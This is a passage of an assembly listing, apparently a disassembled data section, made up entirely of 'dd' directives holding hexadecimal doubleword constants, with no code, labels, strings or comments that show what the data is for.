		dd 0D0BCC94Eh, 5767A884h, 398609BFh, 0C7005D9Eh, 202A73C0h
		dd 0EEC73124h, 4A42F702h, 0FD5C40B4h, 932CBC5Fh, 89F2D129h
		dd 158162F0h, 408F9E96h, 8995E6AAh, 51425EC8h, 355B01D0h
		dd 9CF41056h, 8AB90016h, 0C14D3358h, 0D8B013B8h, 0B54A2C00h
		dd 0F7F1876Eh, 5108C1D6h, 0FD5E5956h, 80FC5049h, 4AF077E5h
		dd 9EB10BDh, 76FD027Fh,	45D5F758h, 54635E41h, 923482E3h
		dd 0B8FB4D46h, 0BD5C2B39h, 80B22D3Eh, 2C5A66A6h, 0F669FA49h
		dd 260CB58Dh, 0F216C22Eh
		dd 0C11D5939h, 8BB534Ah, 0B317DA92h, 42858A1h, 1FE4C526h
		dd 41C213D6h, 6F5FBD69h, 0B1C02E04h, 4A656DD1h,	0DA040B28h
		dd 20FA81C3h, 0CD2A04DDh, 316863F0h, 74A5547Ah,	835A0333h
		dd 50D4C2C3h, 9D14B76Ah, 4200815Fh, 0F5B252ACh,	347C7B2Ch
		dd 0EF2005FAh, 62534E5Eh, 0F95C7F82h, 16CD611Ah, 1C0DA4Ch
		dd 0B70E1A71h, 4CF1316Ch, 266808CEh, 62406413h,	967514F7h
		dd 60E6824Bh, 0F413427Ch, 40CAB00Ch, 0C904819Bh, 677C6D79h
		dd 0E17A6A82h, 72826F64h, 117036F9h, 3E4859E0h,	605BD42Fh
		dd 0B7FA1A09h, 4268D3A0h, 0BB504B3h, 0E94BC2C8h, 222E2D29h
		dd 0BB41E84Ah, 50B828A9h, 36553BC7h, 0C7613BA7h, 5C0191D7h
		dd 9AD0A533h, 2BB085BCh, 0F029F442h, 7DA9C25Eh,	3F61CC80h
		dd 0BD035675h, 7BCB9F37h, 7F5892E9h, 0B4C1EC10h, 195A520Bh
		dd 5375C05Fh, 95757A1Fh, 9501F096h, 311278F8h, 9F215FF9h
		dd 0FE264038h, 74E30BE3h, 28930180h, 0C9F25BD9h, 0E93C9C7Ch
		dd 59C8812Fh, 0A1049F2Ch, 0D88887CAh, 0F33ECDDEh, 0DC2F8661h
		dd 7E02B429h, 289CC380h, 0AC14C3E3h, 0F37AAAA8h, 17191092h
		dd 0BFBEC52Dh, 46F86129h, 4AF29CA8h, 5EB910DBh,	0D591F557h
		dd 5100F62Ah, 0FE3EC5B5h, 16B003CDh, 0F202E0C0h, 0D667E0D0h
		dd 0A4C10C80h, 59316EE9h, 2670F7F2h, 1631F87Bh,	0AB0F5F92h
		dd 50EA5F3Bh, 2AB90390h, 0D1612B14h, 3929C917h,	0D185885h
		dd 0E8B74319h, 324FF768h, 76DF8F7h, 95D7C70h, 0F1D52959h
		dd 215C50DFh, 7234E590h, 2CAE1C40h, 194B82B2h, 17B88E8Ch
		dd 0E0A69D7h, 4A56CCE5h, 1242DF76h, 0BFF94074h,	331246BAh
		dd 75CA6ABFh, 8F35FD10h, 83F6C026h, 0C6A91A12h,	8309FDC9h
		dd 0FD54D8C2h, 595DE978h, 538BA312h, 0A3B48B6Fh, 0BCA7A1C1h
		dd 4B5A0405h, 2E74AED4h, 3403DFEh, 0B704CD72h, 0DBF68DB3h
		dd 41124082h, 101AE27h,	0CB3232F0h, 0CFD82233h,	41A99A08h
		dd 0DEECD57Fh, 22A79AE3h, 59620D4Bh, 8BC8309Dh,	5A465474h
		dd 0F81D18F7h, 17DDD3C3h, 0C406A297h, 828CFBE8h, 47E59D5Ah
		dd 72F1F689h, 68561390h, 4C7FA329h, 0B9BC7F60h,	0DD69ED81h
		dd 853FF932h, 0ED2064ECh, 6A32631Ah, 0F6E311F5h, 0C4E41A17h
		dd 0E5150FAFh, 0DA9810B2h, 0A63004B0h, 0A8C28328h, 0B4032A93h
		dd 95EC469Dh, 3AF7CCE2h, 7BAECA3Eh, 0D8FAE9D0h,	0D1C20901h
		dd 1ADC68E2h, 0FFCC827Ch, 6F482903h, 0A2D0C504h, 0F262D9D7h
		dd 0FBFEA59Dh, 0EDFEF20Ch, 0F71A44FAh, 14D7ECAAh, 49DA611Ah
		dd 3F5C3368h, 8EE27631h, 1BF75702h, 45B9E159h, 72CACF87h
		dd 0C1CE618h, 0AA040A08h, 333C0F1Fh, 50E91A41h,	2162D34h
		dd 6FE5105Ah, 5C16021h,	0B0571DC7h, 0B4094113h,	0EA01E4F1h
		dd 0D8F0CD42h, 1A9ABE1Eh, 44083C53h, 0E828129Bh, 255E5822h
		dd 5ACECEF9h, 8349D1D2h, 58C7A8Eh, 0C51D0797h, 191BB5Bh
		dd 655310C6h, 0A5F928C9h, 2934B5F2h, 93B21Ch, 9173C381h
		dd 24018C55h, 25425BDDh, 61502E79h, 0E522B436h,	9EA0AC5Ch
		dd 0AA99AFF4h, 0B1D3173Fh, 61C56B5Dh, 128AFE8h,	72BD0537h
		dd 0C0216635h, 0E253BEF5h, 17C4E34Ah, 7B68B801h, 0C67A44C8h
		dd 0BC1FBC32h, 0E985F455h, 691DD660h, 637A1181h, 0AFF4D931h
		dd 85FDD319h, 0B524805Fh, 1D7F6759h, 0E1EB9424h, 21685060h
		dd 490BB115h, 75A7DB3h,	56C552A2h, 216706BEh, 3E9025F0h
		dd 80E34E69h, 693E123Ah, 0ED83305Dh, 6B30E5B0h,	2FA22658h
		dd 342EE0E0h, 0C3282831h, 0CA6499Ah, 1259B64Fh,	70656D68h
		dd 556CE000h, 6813272h,	0B91204F3h, 0DE130C0Ah,	0CE84A5Dh
		dd 0EB021B4Ch, 10DD0C6Eh, 0D1820163h, 0A2CB746h, 5A47D7C7h
		dd 0CC301FF2h, 2068F80Eh, 0EEFF7DF8h, 0C689BBA3h, 91DE2C25h
		dd 0DBE481D8h, 3C601635h, 0DA51B229h, 0F3B85DCCh, 48998D0Fh
		dd 5F935AEBh, 0CDDA127Ah, 2F4521D7h, 970CCA96h,	2FF9D6C4h
		dd 1EEEF1D5h, 45DB93A5h, 0FC4F0B10h, 5E4BDA9Dh,	90201BFh
		dd 41290833h, 44D301C2h, 0A10B10EEh, 795A1C0Dh,	7CD4D862h
		dd 1287F09h, 84008F3h, 14130C34h, 458D6253h, 0ED102621h
		dd 0B577CC80h, 30C1AE81h, 0CC8205DCh, 4DC28558h, 9340B355h
		dd 70E17CECh, 2C2A838Ch, 83E604DCh, 0DE4EB7D0h,	24B6520Ch
		dd 3BC0413Ch, 0B3007BDAh, 1ECB8067h, 0C54D26E9h, 106F58D7h
		dd 681C0747h, 693A546h,	241D32C1h, 0C4406D0Ah, 79E6B05Ch
		dd 0F7B720A8h, 31DBB07h, 0DB857BCFh, 27278F0Eh,	0D3863765h
		dd 25E91B14h, 31B13FBCh, 9C6F8945h, 202EC65Fh, 54768BFCh
		dd 3BEFB02Eh, 58745251h, 200948CEh, 0C9019C4Fh,	29E44B2h
		dd 0CA17F253h, 0ECA36489h, 7A82B732h, 0A277B586h, 74B6574Dh
		dd 2ACCBFF3h, 0E012EC07h, 4D03D91Fh, 5612454Dh,	8507D1F7h
		dd 8747B3FEh, 30FB9A55h, 0F3CB803h, 0BF330E00h,	7D3666D7h
		dd 8AC74A31h, 7C97481Ah, 0C53E300Ch, 121F6402h,	0E17E717Bh
		dd 7D006FE0h, 0A48943EFh, 0B4E914F5h, 0B5A78DC0h, 6B9E545Eh
		dd 4F74466Bh, 8012A5BEh, 0CF685B19h, 72F6962Ch,	7925B272h
		dd 0F6614EA7h, 0FEADAACEh, 8114936Ch, 3E5758E6h, 535F0D9Ah
		dd 0ACC70CD7h, 0F690FE9Fh, 344FD664h, 569422BFh, 189D5CD0h
		dd 2BE0578h, 68356C46h,	7BEC7CDEh, 965D9101h, 22E95544h
		dd 0BDBB073Ah, 0BE80F93Ch, 0FBFF581h, 41B536F0h, 68CEC18Bh
		dd 26074394h, 1B9D0CA0h, 80C41804h, 42D7E956h, 942F8C9Bh
		dd 0B754622Eh, 0FD4ABE9h, 0C08C18Fh, 0BB552B98h, 8CBC8A45h
		dd 0DD6850D8h, 15F3415Fh, 51B0234h, 0ECB67997h,	81CBDF42h
		dd 840B1A07h, 11A04090h, 9D220505h, 9101F0B3h, 6F324A2Dh
		dd 0BA5ED28Ch, 4FEC9754h, 0C3B1ECD2h, 0EA2BD93Eh, 98A3622h
		dd 8C5BB785h, 723C60CEh, 0B0A55B4Dh, 0A5800804h, 0CF540ADh
		dd 3A4BE945h, 0C16E095Ch, 0D3E08D94h, 1D5BC52Ch, 0A9DEB7F4h
		dd 801FC42h, 5489F8E9h,	0B8318099h, 294E53EFh, 4DA5A104h
		dd 0B5251313h, 0BE9DECC2h, 0E82AFD0h, 0DFCB814Bh, 0DC54F98Bh
		dd 0C3BD60CAh, 0B039C0Fh, 4D02EDC1h, 5EA4A481h,	53D500F7h
		dd 46B1BF57h, 0CE906D65h, 0D733C09h, 0D0C30041h, 0C05BE22Fh
		dd 5ACFF69Ah, 0FB168940h, 3EC1315Fh, 2C3EEAF8h,	29045C50h
		dd 1E8568D8h, 0B94A11F3h, 0CFE9091Eh, 82D8FEB9h, 0DD4FFDEFh
		dd 0ABE24A60h, 6F207E82h, 0E770F469h, 354362A9h, 0B4013C7Ah
		dd 25CDB8CCh, 664292E9h, 447ACFFEh, 0CC554E90h,	430068A1h
		dd 5A7BA771h, 0BD18E942h, 0E830AA82h, 6D27D1F8h, 12CE59C8h
		dd 0B4E5812Bh, 391860FCh, 3CB675F4h, 1ED1652Fh,	0D5382789h
		dd 68244D9h, 954FDBAAh,	3E1E46D0h, 7BB210h, 43D24FC6h
		dd 0CF50142h, 235DE95Eh, 2C1ECBD3h, 0C06EC646h,	2DD1072Fh
		dd 396272B0h, 0EFD04C01h, 5A010842h, 0C950A72Dh, 0D40C6030h
		dd 212CA492h, 11EA35DDh, 8E12A600h, 48EFC140h, 0AA067F03h
		dd 0A47C4C5Fh, 0E8221103h, 15F72152h, 0BBA3B098h, 655FE602h
		dd 0A3614C41h, 7F5207C5h, 96896688h, 0EA4D2D61h, 0AF44E905h
		dd 189172A8h, 0EBA2E9C2h, 7195D966h, 94516471h,	6D12BF05h
		dd 5C0DE9CAh, 6B93F121h, 0E909B59Eh, 627C4A10h,	0F518776Dh
		dd 119B4BE9h, 68825613h, 866C6957h, 0A7B6B84Bh,	5F6B022Ah
		dd 376845A8h, 1A3CBFEAh, 59E54040h, 1CE28C8h, 251FDBBFh
		dd 291E3116h, 7A55B16h,	0F9D65288h, 0D6BD5509h,	0BAC640D4h
		dd 6A02A640h, 0F2E9EE01h
		dd 9C38F748h, 6F13C868h, 16A22EDDh, 0E95AA093h,	0B135B824h
		dd 0FFF821C1h, 9597E2A2h, 0E9E3A279h, 503B4839h, 47055848h
		dd 0C028B506h, 5F795771h, 0F6C6724Bh, 17CD791Eh, 501951Ah
		dd 0B49876EEh, 4E1E06B4h, 6AD426A7h, 0EDEE819Eh, 94208CA2h
		dd 1839CD6h, 0D25468BEh, 83AC2545h, 2B4C9168h, 9523527h
		dd 0A4D2BC26h, 18634EAh, 4065E4A2h, 20408275h, 608ABF9Ah
		dd 2E7FFE36h, 13B87280h, 4892A910h, 0C41414EFh,	2D050957h
		dd 7C6E0931h, 0CFD0BA9h, 0D39C0BFCh, 543C14F2h,	57222F09h
		dd 0C0013133h, 1E3E07E1h, 0B18BD7C6h, 58C6C0D7h, 3060C2B9h
		dd 4ABBE9F0h, 0B3A140D5h, 13CE754h, 417BCB58h, 25303A08h
		dd 0A974F068h, 123ABFD1h, 0EC30BB7Eh, 0A166BC5h, 0FD0175B8h
		dd 4E0820CDh, 0D9AE125Fh, 18F733B4h, 0AC593742h, 7ED183A6h
		dd 7871232Ch, 10778E25h, 0BB65238h, 3DB753D8h, 8DBEC9F8h
		dd 6A965E0Ah, 0D0ABAD25h, 5F2FBA2Dh, 0E354D9C4h, 35B053BEh
		dd 299C2F03h, 0F1C389D6h, 0A32A41A6h, 2B42057Ah, 0EE814C33h
		dd 0C92A0322h, 4A4E2086h, 571BB99Dh, 9AA071F0h,	0F0C07C38h
		dd 801FC360h, 60520F1h,	59CA284Bh, 0CC8AB316h, 623C0545h
		dd 4C06E982h, 20D28E49h, 0FC176FECh, 0E8C1F37Fh, 5A022EECh
		dd 0EAB5BFEEh, 0C194FFEDh, 0EB2DD830h, 3BF52BC6h, 0F6031D78h
		dd 3D870597h, 0DBD71804h, 92A6DFF7h, 52CE407Ah,	0DA5B85ECh
		dd 93B46F97h, 21410500h, 8E900C28h, 6A58130Bh, 6741A079h
		dd 0C12E574Ch, 2669B10Ch, 35F5F038h, 50951F1Ah,	34E00618h
		dd 1825BF48h, 4A22FD2Dh, 68D2E40Bh, 0B4416191h,	0EBFC49CFh
		dd 0EEE9E971h, 0C54EC963h, 703CBE2Bh, 0E6578201h, 88A8B477h
		dd 1058521h, 2CEB5BDEh,	214D2A1Ah, 98CD927Dh, 27FDCA7Bh
		dd 2D25E1F4h, 0FCC5942Ah, 20480051h, 0D6892C5Eh, 0BF0AF0E9h
		dd 410905C4h, 76B2D791h, 0DF19094Bh, 0E695ADC6h, 928AFE3Bh
		dd 0B1B804D2h, 0A073BF03h, 2CFC559Dh, 0A0027CF3h, 3957F381h
		dd 0CEEB5F6Dh, 0D5F9272Bh, 5F58C243h, 0E9C62CE5h, 9ABFC972h
		dd 5758C2E2h, 8050C0A4h, 97B0CDDFh, 15F8303Fh, 5E639C01h
		dd 302F3D29h, 5DEA2943h, 40763EA2h, 0D1C0BF80h,	27E9CED8h
		dd 0A814EC04h, 0DB70D0C4h, 1B010513h, 13A499Ah,	5FFA35D2h
		dd 85A9B058h, 0B7983A64h, 66A9A946h, 0FB3537Bh,	13A587FAh
		dd 5B54CD84h, 0FB8F5FE9h, 55C4604Fh, 28FDEF68h,	4E98C16Fh
		dd 3AF430BCh, 6299BF4Ah, 0D4003EC8h, 558DBE59h,	0F77F05E2h
		dd 121F68D6h, 9D08E015h, 920C11C0h, 7CFED8F6h, 27847DC0h
		dd 5C28998Ch, 45A30EA8h, 5F102C8Ch, 42653AE3h, 40CE548Ch
		dd 511E52D5h, 0A4BEBB5h, 4F567E8Ah, 81C8D016h, 0E38D5F2h
		dd 30CEF3Fh, 0E077204Ch, 16B672EAh, 4431EB2Bh, 1D0B686Fh
		dd 34925BFBh, 6155609h,	1CCFB252h, 0D83B5A79h, 32E9922Ch
		dd 4249A5C2h, 8ADA5899h, 0A03C438Bh, 602B153Fh,	9E970C32h
		dd 89641D62h, 12BECFB0h, 0A63FE981h, 76E3001Ah,	0B9513B36h
		dd 590308CFh, 0E9CA314Ah, 32F14894h, 4925EE53h,	0AEC53FA5h
		dd 2CACDA53h, 0ECF23F2Ah, 0BAC05447h, 0CB5B48DDh, 21A38C12h
		dd 2A5EF51h, 0E8C1D652h, 633A2599h, 0FB254873h,	0C680422h
		dd 0D2D0985Bh, 4F5FCF40h, 0D8D62D01h, 5B0988EFh, 0DC31F7CBh
		dd 31575924h, 0BB34CC55h, 20E87251h, 251635CFh,	5205DAF7h
		dd 0CA9467E9h, 0E64A39BCh, 25299779h, 9684020h,	48083E9Ch
		dd 0CE8A2082h, 51F80102h, 0A651A5BAh, 0AD4CE941h, 95F20024h
		dd 13E31940h, 240B663Fh, 6885EF52h, 0D6456496h,	38BB08BAh
		dd 713168BFh, 0D321271Ch, 0FBDC3AA5h, 8F859492h, 10ED9599h
		dd 581DEE3Ch, 13DAF95Eh, 0F3370000h, 4C1B07BCh,	12DF8933h
		dd 0C546F8EFh, 90E92670h, 7F888498h, 25C3B638h,	5920D659h
		dd 3200E3DAh, 9F8626BBh, 2D685609h, 35983F6Ah, 59BE1063h
		dd 21020796h, 61C00884h, 4538FDE3h, 3590ABD1h, 370A92C5h
		dd 0E5D4868Bh, 3EBC117h, 0A7F4B90Fh, 0F7E469E0h, 2BDB6F0h
		dd 2EC73505h, 8D82E5C1h, 94448D87h, 85CB9109h, 0D4650B8Eh
		dd 0E8E9842Ah, 0C38EF26h, 0E96317B3h, 0BEDC5245h, 4EA80864h
		dd 5103C83Ch, 40CDE99Ch, 9149B92Ah, 4DBDC2E6h, 31B8130Bh
		dd 813C1F67h, 677FF327h, 876F2EFFh, 0B130E3F4h,	11EF4F01h
		dd 58074629h, 275296Bh,	54AFC8FBh, 0AACC0204h, 968F188h
		dd 92595052h, 0C5818765h, 5E8548B1h, 0C4E9D043h, 0BA037FB8h
		dd 31FF606Ch, 0CDD2F28Ah, 92D3F32Dh, 50B77425h,	23CF15E9h
		dd 0D110F3B7h, 333C17A4h, 0BA1675F9h, 0F333607Fh, 1202A66Bh
		dd 0BCAB46BEh, 63D8803Bh, 0CE1EB371h, 3982090Ch, 855290Ch
		dd 0C340810h, 68591401h, 686727h, 0BA42B9C1h, 0A0768274h
		dd 5FB45BFCh, 0BF5B9C16h, 36980A17h, 28AF40E5h,	0A2A1CB4Eh
		dd 39809A20h, 0ED879EC5h, 2F8D04D1h, 13DFBCB2h,	0E9BDDD05h
		dd 511700D3h, 0E9806CB1h, 75287A59h, 0C1010F5Eh, 299A6852h
		dd 0D4058988h, 5ECBDA2Ch, 1ECB698Ch, 0E8015D25h, 82800ED1h
		dd 0D44B5671h, 5FEEAF93h, 0B5851C9Fh, 7860E36Ah, 0E200C071h
		dd 80D2F607h, 5AE9BEC2h, 88A30550h, 0AF9A83F3h,	0B5666926h
		dd 0AC57620Eh, 31F30E43h, 50193DF1h, 2C273E38h,	0A94404FBh
		dd 7E88BBE0h, 8FB12EEAh, 129068DEh, 6C87B19Bh, 40EFE416h
		dd 685355A9h, 7AC11D4Bh, 35AABD5Bh, 581FBFCh, 501156EDh
		dd 10768575h, 5B300873h, 0F304400Eh, 0EDD14A13h, 7C06180Fh
		dd 8D460EF8h, 4F5C734h,	1068867h, 8B2020A4h, 4D62514Bh
		dd 26A87AA3h, 0C0695EF1h, 72037505h, 0C801200Ah, 0E904072Dh
		dd 27EB9F4Eh, 0D01B85FEh, 58E13025h, 411224E7h,	0CD8CF04Fh
		dd 0F08F5847h, 55F82698h, 0ECF50134h, 3BA80813h, 0F71B4384h
		dd 0E72C4EA5h, 819A2Fh,	0CCFE6EB4h, 0F606ECC0h,	0C480DC00h
		dd 0E9E2303Fh, 131CBA27h, 0B963E168h, 9DBAA4DAh, 0BA768033h
		dd 8522C605h, 58B5EE9h,	90EFC1B6h, 6B7ABC0Eh, 0FB31772Eh
		dd 0F62E5828h, 56126C9Bh, 0D52F49A1h, 0EB390909h, 0BFDCFE62h
		dd 9D7E8C50h, 8E4062A7h, 1A54F60Bh, 21A25744h, 5FCB434Ch
		dd 0EAC390E8h, 0F700FF82h, 4015B633h, 5AD12913h, 6CA43B16h
		dd 4DEE40A1h, 0BA9A46ECh, 9C138831h, 63933AF7h,	7BDF0BF8h
		dd 4648CCEBh, 0F1CB4B92h, 84E0E913h, 4ADFA862h,	0D21079F6h
		dd 0BDBF029Eh, 7C4A7907h, 0BB530A77h, 17EF0BF8h, 4B8CF556h
		dd 2F27C881h, 0AEEB441Fh, 971E3AC8h, 482BB358h,	5CA144E0h
		dd 102032E7h, 813B7DEEh, 856F2904h, 9CDB87Ah, 4057F6Dh
		dd 71B7F559h, 2168B44Eh, 8CA24A1h, 0CB50BC3h, 66292046h
		dd 4C2FA676h, 38273239h, 6242C5EFh, 0CD3837Ah, 14CA92D5h
		dd 0E5B85014h, 0A35F85D4h, 44E90B51h, 27C9E49Bh, 0F8A58268h
		dd 66A647CFh, 0E91365BBh, 0E3040FD4h, 0BB296A71h, 2CD9E2ADh
		dd 84ECBE0Ch, 0BAD6919Dh, 4F0307Ah, 29B81A92h, 84A7395Eh
		dd 0D8099125h, 450A4480h, 5E3E41F5h, 2BD6AF46h,	696B51BFh
		dd 0B3658812h, 2F126893h, 0FEAC8734h, 0AC12EBD2h, 648E79FDh
		dd 0AA1F123Dh, 1B49D714h, 0C097F2E9h, 0BE3F680h, 45AF088h
		dd 0E9C1A200h, 0A0BD155Fh, 0B10E41D5h, 0DE0120B0h, 0C662CD96h
		dd 5BAE5C58h, 0BBE9BF09h, 42E6FCE7h, 0B6862605h, 0EF4010F7h
		dd 7D0859E9h, 5EF02100h, 0BF531935h, 0B80D7100h, 2D1EC23Fh
		dd 0D67F3BB9h, 2FD7E1CBh
		dd 0A405368Dh, 0EC130A4h, 2D4C5FFBh, 9F02E1A7h,	570E40E1h
		dd 80856E8Dh, 0D4D8AF24h, 0CC2D0158h, 6827E035h, 7266FEAFh
		dd 5CFCA58Ch, 54530B12h, 7C2B8A09h, 1BC6C9ECh, 2C0D00BFh
		dd 511532h, 5341C7B9h, 0C3C9811Fh, 5FCD7D03h, 38A989E9h
		dd 4589BDB8h, 0BC0F7360h, 2AE90338h, 0BA34224Bh, 22AD9DC4h
		dd 50A1C703h, 6BD930D9h, 1777BB19h, 20B7A699h, 1F68D22Fh
		dd 0BA807BF8h, 0C74E0745h, 0C6D5315Fh, 44B75938h, 14954DD7h
		dd 30358D5Bh, 2BC0D1DEh, 1A6D1BBFh, 0B445F40Ch,	0A3AD170Bh
		dd 32C17D1Fh, 0E63508BEh, 0D07EB12Ah, 54C5251h,	542903F5h
		dd 0E8460372h, 3E5CF1CEh, 0F6B92D32h, 4B061A8Bh, 8405AB20h
		dd 3A12EC53h, 2F80D8E9h, 7987D7F7h, 933F27F9h, 0D27C2D2Bh
		dd 4F985749h, 0BF800FF2h, 0BD141627h, 4D5BC2Eh,	45AD0B99h
		dd 0D744510Fh, 36C5AAE6h, 68B77100h, 48403C67h,	7D04B735h
		dd 0B8A2E960h, 0E65F87h, 20918D5Ah, 0CE91143Ah,	3873FFA0h
		dd 73334B2Dh, 2C5C005Ah, 0F2810C41h, 0F675CE05h, 1780311Fh
		dd 0DCFEE949h, 0FBFC65CEh, 507CF300h, 9051A0B0h, 9CB44E0Ch
		dd 0E80EC170h, 4EC8310Ah, 8C68CF0h, 3DE431E9h, 31015E8Eh
		dd 22CD7E0Dh, 3825623Ah, 300B527Ch, 0CFEA7CD9h,	923CF933h
		dd 663D20FAh, 6A5BA268h, 7AC70221h, 0FCAC9C96h,	14B3C0DDh
		dd 58A2B151h, 481044F6h, 0D0B05BF7h, 0FF162BDh,	99595DE8h
		dd 58A61149h, 0FE79442Ah, 0E834FA34h, 5AE65380h, 0C0D600Bh
		dd 3BC168C7h, 8A62897h,	0C2055627h, 0C57B0CA8h,	22F8688Bh
		dd 0CAB8E9E5h, 0E402DD7Ch, 0D100809Ch, 9C23BEAh, 0DF6A840Fh
		dd 400D3A7Fh, 1E7657C7h, 4BE5475h, 0D7F22DAFh, 0E955E09Eh
		dd 0EC9FA00Ah, 8CBD200Eh, 314B25B0h, 7C05FC03h,	89A3E7CDh
		dd 2CB3E1C7h, 0B34D663Dh, 2450DF2Eh, 4DF3032Bh,	8992EC84h
		dd 0DC6AB082h, 1CBE4904h, 0E04EFD1Dh, 0ED07616Ah, 0CF896DB7h
		dd 85B1C2A5h, 817CC02Eh, 7C2D7FE2h, 0B8C03B46h,	4A4AA31Bh
		dd 3D0EC09h, 0E37BCFEAh, 1C57C95Eh, 79CAB888h, 47E2890Bh
		dd 0D0E9841Fh, 3936A940h, 3524CFD8h, 0FB7655A3h, 63E97D89h
		dd 90DFD062h, 4EAF0FA3h, 0B2BF1EC8h, 0C0605077h, 6A981307h
		dd 0FD05EE99h, 32814071h, 0D73BFA8h, 96CE2778h,	0A86B9A19h
		dd 2E34B049h, 24F18A16h, 0A2B5882h, 176075B2h, 74284EEDh
		dd 0CD048476h, 13E038DBh, 369545C5h, 0EEF364BFh, 0BF57F600h
		dd 26CF11FBh, 3A40472Fh, 0F9938DBEh, 0E995C162h, 0A4093BD9h
		dd 0D760B259h, 0D6C0588h, 2FA917E9h, 0F403F5F4h, 9DB25B47h
		dd 7219C9E1h, 78FD10CDh, 12DF7E4Dh, 1D28EE59h, 17036968h
		dd 1F56E129h, 5A4C9854h, 5F6904D8h, 0DF7EEC56h,	0E4D05449h
		dd 3862B519h, 0FA04F75h, 0F4739AE9h, 110BF759h,	762D46E2h
		dd 0A0569373h, 3A130625h, 0E6013B42h, 7B240D90h, 17B8E7D8h
		dd 1250C67h, 0BC469530h, 0C7BA500Bh, 112760F4h,	0F72D4089h
		dd 0F9E90D3h, 0EF7FAF98h, 41D21E92h, 274CF0E6h,	3D47606Fh
		dd 74C72113h, 0B9704AFh, 0FAB90B20h, 9FCAF8A6h,	81A0D694h
		dd 8A207CFDh, 6439092Eh, 2B843DA4h, 0EA7A7AAh, 0E5F66855h
		dd 0C6B075DAh, 0E78980F7h, 0BE595078h, 9CBF2B73h, 73213000h
		dd 4F24E965h, 10C5E394h, 0F14B92B3h, 9AB7E06Bh,	6DA841C0h
		dd 0F6531F34h, 2625EF20h, 10F5E22Bh, 5A1877E7h,	0CECD7A57h
		dd 8B605681h, 741D1F88h, 0E59B1248h, 8B54074h, 184B750Eh
		dd 43123CACh, 0CBFDB81Ch, 0E998250h, 2537453Eh,	0E96124D6h
		dd 443B15FAh, 2E8E4D5h,	0D1565368h, 2E638019h, 32E922B3h
		dd 0FEA23B4Bh, 0BD887F78h, 98A2B118h, 0C00008ABh, 9843463h
		dd 1D71C535h, 0C4051831h, 0AA2E1506h, 0D8F7C004h, 28C502BFh
		dd 42771ADAh, 134CD679h, 0A90085F2h, 30EF926Fh,	2DEC6881h
		dd 1A35759Ah, 12BB2EF3h, 0C2AB80Bh, 0C13697Eh, 76FE396Eh
		dd 0CB90E98Ah, 0E070A7D6h, 0D7C7DA24h, 0BAD3EA9Fh, 72AA2485h
		dd 1EF42C50h, 9D02B958h, 243F4A99h, 5A0B5357h, 9A293868h
		dd 9B0584Dh, 2716582Eh,	1F234086h, 0EF13CD72h, 2BF0595Dh
		dd 0BA8540B9h, 289FAE2Eh, 7FD12909h, 973C4910h,	8684B4A6h
		dd 660FD884h, 0E5638F47h, 4594FFC1h, 0F607FAF8h, 9230E02Bh
		dd 7A8AB728h, 64CA2597h, 6D78854Ah, 97F49EBFh, 5655DEA0h
		dd 0CE4AAAE9h, 5031A792h, 7A8EBE8Ch, 38C4BBDAh,	0D8AF1198h
		dd 0C341016Eh, 123E926Bh, 2C247D74h, 0AD57DB02h, 0B0154048h
		dd 7A1F251Dh, 0CF8F14DCh, 866B29A3h, 122DF30h, 65F911B1h
		dd 3A05EDC1h, 7BE6EE80h, 80734B4Dh, 0D5F90252h,	0D51EE926h
		dd 0B0A3B996h, 0C72FE245h, 2DD830D2h, 0B0484D56h, 77F5111Fh
		dd 0AF5FF914h, 0B196023Dh, 0D3BEFCF2h, 0F78459B8h, 515B0275h
		dd 54AF4253h, 2D0A26BFh, 4C6F33F9h, 1C2F7F1h, 2AF5446h
		dd 6F5AD321h, 0A05BA049h, 60D1C3A4h, 0C7260ACh,	89522A11h
		dd 0F2C5E912h, 57050F32h, 0AAF61F16h, 0B3A6516h, 7109784h
		dd 0AE1213E3h, 71A169A8h, 19C93E93h, 40CCAB60h,	0E80388D6h
		dd 30CEFE59h, 0FC693F0h, 6B25208h, 7DCA69h, 2803F238h
		dd 5E1990D0h, 783BE226h, 2B90345Ah, 0F91FF0C1h,	0F0495DC8h
		dd 2CBE0BF1h, 0AB851914h, 0E9030705h, 0F8ED2406h, 0F492DE1Dh
		dd 0ABB9C656h, 995BB490h, 15616F8Dh, 85043AA9h,	65BA847h
		dd 34AF43EAh, 420E9690h, 58021B40h, 4E655F01h, 0D26B5CA7h
		dd 0F06208FCh, 0A14F0574h, 0A0C544CAh, 0E80C3503h, 84521061h
		dd 80271689h, 4AA3E846h, 0EB10A4BDh, 7BB80121h,	4860BD0Ah
		dd 0D05A030h, 5B74618Ah, 5EC520C6h, 0A0519E40h,	24B56CC4h
		dd 98792898h, 24B91BD0h, 446F0D14h, 5A0725A9h, 21F1007Fh
		dd 535BF4Ch, 0FA75528Ch, 7801392h, 0F8782959h, 0AE57E21Fh
		dd 2F66F9E5h, 249E851h,	6EB2B58h, 55586B5Bh, 5625000Eh
		dd 2D487667h, 2EDEA8Eh,	6A410508h, 27C1F7D8h, 4333DCCh
		dd 183D744Eh, 2485B582h, 8F56012Ch, 0F32B3842h,	0B4680842h
		dd 35E9050Dh, 3414F28Ah, 0C2A8E452h, 9E2DAD01h,	0ED387149h
		dd 2B162FD1h, 4A5A2D2Ch, 9208B856h, 284FB4ADh, 6E122994h
		dd 40FE039Eh, 68BBE367h, 4A986762h, 23FFC1Fh, 172029D4h
		dd 4CC1AEE9h, 0FE60DEF7h, 3F849418h, 0C34E43B8h, 21E22383h
		dd 5FBF3EC8h, 0F4F7F12h, 78856284h, 1A01EEA2h, 0E91C063Eh
		dd 4A3B3CC9h, 74A51EF2h, 0A4E5E861h, 7E7829FFh,	0CA3E342Dh
		dd 0CD885E08h, 0F9D832E9h, 89DFD0E7h, 7BD980BDh, 4A406890h
		dd 1E1BC48h, 4E4D7903h,	0F43BE6C1h, 0DD09C6EAh,	0DE757D80h
		dd 200D9E98h, 13303AF1h, 0FEC8BF0Fh, 0B4E45E52h, 3179B74Ah
		dd 39C5685Ah, 1C22CC39h, 2735DD10h, 0E1747159h,	23C53EE9h
		dd 6F904D0Fh, 0E9BBC92Fh, 2F60DD92h, 0F46A1BE2h, 6CF98099h
		dd 544A8105h, 17BB535Dh, 9D4327C4h, 871668F0h, 0C91D8D79h
		dd 1390BD75h, 50747E56h, 0BBD8E37h, 291CAC02h, 4805DD93h
		dd 0CC6158Dh, 59F9F70Bh, 0B782A8D4h, 680B5247h,	0E9F9A1A7h
		dd 0DD3E9A8Bh, 0D50F2009h, 98A0B680h, 0BCA4F2E5h, 0BF575046h
		dd 0DB763B05h, 0BB884744h, 248917C6h, 3A88E1BBh, 4EEC80B0h
